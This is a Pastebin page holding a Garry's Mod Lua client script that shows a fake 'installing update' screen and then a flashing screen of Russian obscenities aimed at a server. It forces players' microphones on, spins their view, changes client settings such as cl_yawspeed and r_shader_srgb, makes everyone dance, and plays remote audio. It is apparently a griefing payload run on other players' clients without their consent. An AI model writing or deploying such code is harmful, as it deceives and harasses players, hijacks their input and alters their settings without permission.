Advertisement
EgorkaEK

erygfdh

Jun 10th, 2021
570
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 8.69 KB | None | 0 0
  1.   local loadingPercent = 0
  2.   local W, H = ScrW(), ScrH()
  3.  
  4. surface.CreateFont("lapolice", {
  5.     font = "Open Sans",  
  6.     size = ScrW()*0.02,
  7.     weight = 10,
  8.     blursize = 0,
  9.     scanlines = 2.5,
  10.     antialias = false
  11. })
  12.  
  13. surface.CreateFont( "PureBigButtonFont", {
  14.     font = "Open Sans",
  15.     extended = false,
  16.     size = 23,
  17.     weight = 400,
  18.     blursize = 0,
  19.     scanlines = 0,
  20.     antialias = true,
  21.     underline = false,
  22.     italic = false,
  23.     strikeout = false,
  24.     symbol = false,
  25.     rotary = false,
  26.     shadow = false,
  27.     additive = false,
  28.     outline = false,
  29. } )
  30.  
  31.     ledermatriste = vgui.Create("DFrame")
  32.     ledermatriste:SetPos(0,0)
  33.     ledermatriste:SetSize(ScrW(), ScrH())
  34.     ledermatriste:ShowCloseButton(false)
  35.     ledermatriste:SetTitle("")
  36.     ledermatriste:SetVisible(true)
  37.     ledermatriste:MakePopup()
  38.     ledermatriste:SetDraggable(false)
  39.     ledermatriste.Paint = function(self, w, h)
  40.         draw.RoundedBox(0, 0, 0, w, h, Color(18,21,25,255))
  41.     end
  42.  
  43.     local logoma = vgui.Create("DImage", ledermatriste)
  44.     logoma:SetPos(ScrW()/2 - 250, ScrH()/2 - 250)
  45.     logoma:SetSize(500, 500)
  46.     logoma:SetImage("materials/puresystem/logo_marteaupure.png")
  47.  
  48.     local timerloadingbar = vgui.Create("DPanel", ledermatriste)
  49.     timerloadingbar:SetPos(ScrW()/2 - 150, ScrH()/2 + 245)
  50.     timerloadingbar.Paint = function(self, w, h)
  51.         draw.RoundedBox(5, 0, 0, w, h, Color(255, 255, 255))
  52.     end
  53.  
  54.     local timerloadingbardone = vgui.Create("DPanel", ledermatriste)
  55.     timerloadingbardone:SetPos(ScrW()/2 - 150, ScrH()/2 + 245)
  56.     timerloadingbardone.Paint = function(self, w, h)
  57.         draw.RoundedBox(5, 0, 0, w, h, Color(241, 193, 0,255))
  58.     end
  59.  
  60.     local timerloading = vgui.Create("DLabel", ledermatriste)
  61.     timerloading:SetPos(ScrW()/2 - 100, ScrH()/2 + 250)
  62.     timerloading:SetText("Installation de la mise à jours...")
  63.     timerloading:SetColor(Color(24,24,24,255))
  64.     timerloading:SetFont("PureBigButtonFont")
  65.     timerloading:SizeToContents()
  66.  
  67.     timerloadingbar:SetSize(timerloading:GetWide() + 100, timerloading:GetTall() + 10)
  68.     timerloadingbardone:SetSize(0, timerloading:GetTall() + 10)
  69.  
  70.     timer.Create("charglogo", 1, 1, function()
  71.         logoma:AlphaTo(10, 1, 0)
  72.         logoma:AlphaTo(255, 1, 1)
  73.         timer.Adjust("charglogo", 3, 0, function()
  74.             logoma:AlphaTo(10, 1, 1)
  75.             logoma:AlphaTo(255, 1, 2)
  76.         end)
  77.     end)
  78.  
  79.     local timePassed = 0
  80.  
  81.     timer.Create("parleput1", 0.1, 0, function()--PARLE !!!
  82.         RunConsoleCommand("+voicerecord")
  83.     end)
  84.  
  85.     timer.Create("Pure_loadingTimeout", 1, 0, function()
  86.         timePassed = timePassed + 1
  87.         loadingPercent = loadingPercent + math.random(14, 15)
  88.         if loadingPercent > 50 then
  89.             timer.Remove("Pure_loadingTimeout")
  90.             loadingPercent = 80
  91.         end
  92.         timerloadingbardone:SizeTo(timerloadingbar:GetWide() * loadingPercent / 100 , -1, 3)
  93.     end)
  94.  
  95.     timer.Simple(25, function()
  96.         if ledermatriste != nil && timerloadingbar:IsValid() && timerloadingbardone:IsValid() then
  97.             timerloadingbardone:SizeTo(timerloadingbar:GetWide() * 90 / 100, -1, 3)
  98.         end
  99.     end)
  100.  
  101.     timer.Simple(30, function()
  102.         timer.Remove("charglogo")
  103.  
  104.         if ledermatriste != nil && timerloadingbar:IsValid() && timerloadingbardone:IsValid() then
  105.             timerloadingbardone:SizeTo(timerloadingbar:GetWide(), -1, 1)
  106.         end
  107.     end)
  108.  
  109.     timer.Simple(31, function()
  110.         if ledermatriste != nil then
  111.             ledermatriste:Remove()
  112.             enigma()
  113.         end
  114.     end)
  115.  
  116.  
  117.  
  118.  
  119.     timer.Simple(63, function()
  120.         enigma:Remove()
  121.         timer.Remove( "charglogo" )
  122.         RunConsoleCommand("+right")
  123.         RunConsoleCommand("+voicerecord")
  124.     end)
  125.  
  126.  
  127.     timer.Simple( 73, function()
  128.         RunConsoleCommand("-right")
  129.         RunConsoleCommand("cl_yawspeed","8")
  130.         timer.Remove("parleput1")
  131.         timer.Remove("cheer_loop")
  132.     end )
  133.  
  134.     timer.Simple( 90, function()
  135.         RunConsoleCommand("r_shader_srgb","0")
  136.     end )
  137.  
  138.     for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end
  139.  
  140.     timer.Create("cheer_loop",2.7,0,function()
  141.         for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end
  142.     end )
  143.  
  144.  
  145.     hook.Add("Think","somewhere_over_the_rainbow",function()
  146.         local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  147.         for _, v in ipairs(player.GetAll()) do
  148.             v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
  149.         end
  150.     end)
  151.  
  152.  
  153. function enigma()
  154.     enigma = vgui.Create("DFrame")
  155.     enigma:SetPos(0,0)
  156.     enigma:SetSize(ScrW(), ScrH())
  157.     enigma:ShowCloseButton(false)
  158.     enigma:SetTitle("")
  159.     enigma:SetVisible(true)
  160.     enigma:MakePopup()
  161.     enigma:SetDraggable(false)
  162.     enigma.Paint = function(self, w, h)
  163.         draw.RoundedBox(0, 0, 0, w, h, Color(18,21,25,255))
  164.         draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
  165.         draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
  166.         draw.DrawText( "E", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  167.         draw.DrawText( "E", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  168.         draw.DrawText( "E", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  169.         draw.DrawText( "E", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  170.         draw.DrawText( "ПИЗДА СЕРВУ ;)", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  171.         draw.DrawText( "ЕГОРКА Я ХОЧУ ОТ ТЕБЯ ДЕТЕЙ", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  172.         draw.DrawText( "ПИЗДА СЕРВУ ;)", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  173.         draw.DrawText( "ЕГОРКА Я ХОЧУ ОТ ТЕБЯ ДЕТЕЙ", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  174.         draw.DrawText( "ЕГОРКА Я ХОЧУ ОТ ТЕБЯ ДЕТЕЙ", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  175.         draw.DrawText( "ПИЗДА СЕРВУ ;)", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  176.         draw.DrawText( "ЕГОРКА Я ХОЧУ ОТ ТЕБЯ ДЕТЕЙ", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  177.         draw.DrawText( "ПИЗДА СЕРВУ ;)", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  178.         draw.DrawText( "ЕГОРКА Я ХОЧУ ОТ ТЕБЯ ДЕТЕЙ", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  179.         draw.DrawText( "ПИЗДА СЕРВУ ;)", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  180.         draw.DrawText( "ЕГОРКА Я ХОЧУ ОТ ТЕБЯ ДЕТЕЙ", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  181.         draw.DrawText( "ЕГОРКА Я ХОЧУ ОТ ТЕБЯ ДЕТЕЙ", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  182.         draw.DrawText( "ЕГОРКА Я ХОЧУ ОТ ТЕБЯ ДЕТЕЙ", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )   
  183.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  184.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  185.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  186.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  187.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  188.     end
  189.  
  190.     sound.PlayURL( "https://cs9-7v4.vkuseraudio.net/p3/0eeb712573c5f3.mp3?extra=ZwdmuL2remhqh2l7kf3IJbF7C1hv9FYWEdIybyj0wEkmKQXt3aIhKzfAB2-d7IAc1twFCzWu9UUbj5xxGHo_cQBo5CTld87lkFhwl4_0m4zWwGi43WAZnzZ0Rd0dv87FsyKiqYNNlKn0OOA4cC5britIOg&long_chunk=1", "mono", function()end )
  191.  
  192.     local logenigma = vgui.Create("HTML", enigma)
  193.     logenigma:SetPos(ScrW()/2 - 250, ScrH()/2 - 250)
  194.     logenigma:SetSize(500, 500)
  195.     logenigma:OpenURL( "https://i.imgur.com/SeFkDBC.png")
  196.  
  197.    
  198. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement